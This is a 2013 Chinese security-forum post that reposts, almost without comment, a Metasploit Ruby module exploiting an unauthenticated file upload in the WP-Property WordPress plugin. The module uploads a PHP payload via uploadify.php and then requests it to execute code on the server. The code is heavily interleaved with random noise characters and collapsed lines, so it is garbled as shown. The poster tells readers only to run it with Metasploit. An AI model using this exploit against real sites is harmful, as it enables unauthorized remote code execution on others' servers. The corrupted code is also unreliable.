找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2171|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
$ p9 |  J, L5 n5 q
* n/ j8 e5 A: M( {+ Q/ P, i ## # This file is part of the Metasploit Framework and may be subject to' D% I! `  e% Y( e
5 I$ s, {  u  ~& U% k/ U4 H* u- S
# redistribution and commercial restrictions. Please see the Metasploit$ F- A& R- o# C* M' c

% R+ X& [5 V/ C' O6 E! v- j# Framework web site for more information on licensing and terms of use.' v( X+ y. J, Y/ B; w) Y

) n$ g& F$ d( \#   http://metasploit.com/framework/ ##
3 i5 u8 w% z0 |) R' ?6 Y. o. A% w+ i( g/ f1 [7 N  ~1 L3 N$ }1 y
: ]( _- O; r! k" D7 U$ B

. @; a# d9 P! m; ^' D0 | : z1 y* L: Z: Z& Q% T
+ |1 |# y- L; ^" ]$ N- }& ~5 {
require 'msf/core'
1 K( Z4 {$ D5 m# K* y) b" Qrequire 'msf/core/exploit/php_exe'3 M" V: w+ w- ?
$ [0 v* B' e! s8 |. i. D
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
) w( W  M; r5 B'Description'    => %q{! ?* g5 K. U3 U4 c: L5 A6 G
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
: {% l5 ?5 Z! |1 g7 y! W6 ^[. j  g) h' {; L8 f! v. u
'Sammy FORGIT', # initial discovery
$ ^8 a# h: K$ N+ p! X'James Fitts <fitts.james[at]gmail.com>' # metasploit module2 I! p! v& y  e# A( S8 n
],- n( v; U. I" O: `; l
'License'        => MSF_LICENSE,
) w0 G. I8 k3 g& e'References'     =>, ~/ ^  h; e  Y
[
& Y' N4 F; G- w: ]7 J) k) x[ 'OSVDB', '82656' ],
& f/ l+ o9 b. ~  b2 T[ 'BID', '53787' ],5 b1 P% |+ a; l7 w% X
[ 'EDB', '18987'],
' I2 a- A, M0 X: m4 r, K7 `[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]5 t' v) w; ^9 s  r( \! E8 k
],* K' M: b# X6 l/ \7 ^; C) W
'Payload'        =>
7 B' U1 `6 T% d# Q0 s# M4 j  t8 W{
0 |4 Y* l: h4 A* o9 N; Z5 p/ ^'BadChars' => "\x00",& F4 s. Y2 P9 o3 n+ A
},
# Z3 z, Z" g% }0 h4 j'Platform'       => 'php',
( f1 S7 J4 u  o& N( t* O" B, ~'Arch'           => ARCH_PHP,* s4 N0 I5 L$ M: {9 Y
'Targets'        =>
. d& V0 M! B: L4 d( W3 r[
/ l- D7 Q1 v& I[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],5 i$ u2 O8 Y, X: {: E5 D) f9 S
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]# ^6 O# b8 T# j0 f  L2 Y& ^! R
],
8 u3 c4 ?0 l4 J'DefaultTarget'  => 0,( u. s' G8 R: Y9 y0 H
'DisclosureDate' => 'Mar 26 2012'))
/ J  B* d4 {* w7 B! s' W5 _+ E5 @" \4 w
register_options(
" L( h% E- u2 }! c[% a5 `/ n! @% E. t  s
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])6 m* ~9 i/ D! Y' M1 p6 D$ ~
], self.class)
/ l+ h6 y+ a+ mend
  j. l, P! i: T% ^* n1 z. U4 b  ~! C1 |+ D2 Y- V6 a
def check
  u) @3 a; V% v8 Z1 p. \( ~; h( quri =  target_uri.path3 o' N5 B% b1 X& `: I1 a
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
! h: u+ B! ]  K- L, b. ?( u% q'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
- t. b- b; A. P( n})6 H) S' r' m* B' F* e

! g# x) \( [5 O; r- wif not res or res.code != 200/ @$ ~+ g  C9 a' I. ?9 s5 p  g
return Exploit::CheckCode::Unknown- R+ l5 a! t& ^# h* P- c: S& c. Y
end
+ _4 Q  v& d5 E9 h% N, b& \* i! N; [2 H, ~
return Exploit::CheckCode::Appears
, n) f5 F# S6 hend
' v& \) T$ ]$ U7 M7 R5 [7 c/ m' z, H% ]$ M: A
def exploit
& Z' M  E- P& K0 a. furi =  target_uri.path
, r. J% h0 b* x: E" m* R) ~4 `; quri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
$ y- F$ l7 L  }& W2 K
7 W# _3 v4 b2 m/ t: z* }data = Rex::MIME::Message.new, ?: @9 T- i% a- ?  s) W
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""); p3 ?% @% i1 z2 i& ]" o9 U2 g
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\""), W8 B$ C9 d, A3 ~
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')4 N8 \# D/ c! C# s
  Q8 n! k2 ]: N
print_status("#{peer} - Uploading payload #{@payload_name}"), J9 ~7 S: H* g" a* g
res = send_request_cgi({3 F3 ]7 z" D: L: E& m0 Z
'method' => 'POST',
$ }7 E, V, I  E! [/ c'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",2 h; T5 k& G3 n4 C- G
'ctype'  => "multipart/form-data; boundary=#{data.bound}",  x! Q1 @1 y: @, _( i8 ^2 V
'data'   => post_data8 I1 `2 s/ c+ J; X3 \- J- V. r
})
8 o& i. `2 J! `0 L( n  p3 R
* e9 S: x. e2 _" p: nif not res or res.code != 200 or res.body !~ /#{@payload_name}/2 x% C7 l4 R! _3 ^2 e
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
' i4 p% H& t4 \1 U3 @end8 E' M2 A$ `7 V
" b! H! I3 R+ s0 j
upload_uri = res.body, A  Q/ c7 H  l: t7 D" r7 w
' y3 G/ r9 x( z5 m( G
print_status("#{peer} - Executing payload #{@payload_name}")
( {7 s; f1 T9 `2 K0 M. kres = send_request_raw({
% u' J" `5 d6 k) ]' Q  S7 ?'uri'    => upload_uri,  {- X; M! G! {  T2 ?" {" F- b+ A
'method' => 'GET'
1 M- ^% N+ S1 x  u% L5 `})
/ H. e; Z. p2 Z" e# P5 rend/ P3 Q: f( x; H, W0 B. z  _: f
end
0 `+ y' C  q8 ?2 R4 J4 g
: t% S  E9 E+ h, s不要问我这写的是什么 怎么利用 我是说msf./ V3 E: _) z! q! {# n

5 n" i9 O; H8 h3 G% e1 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表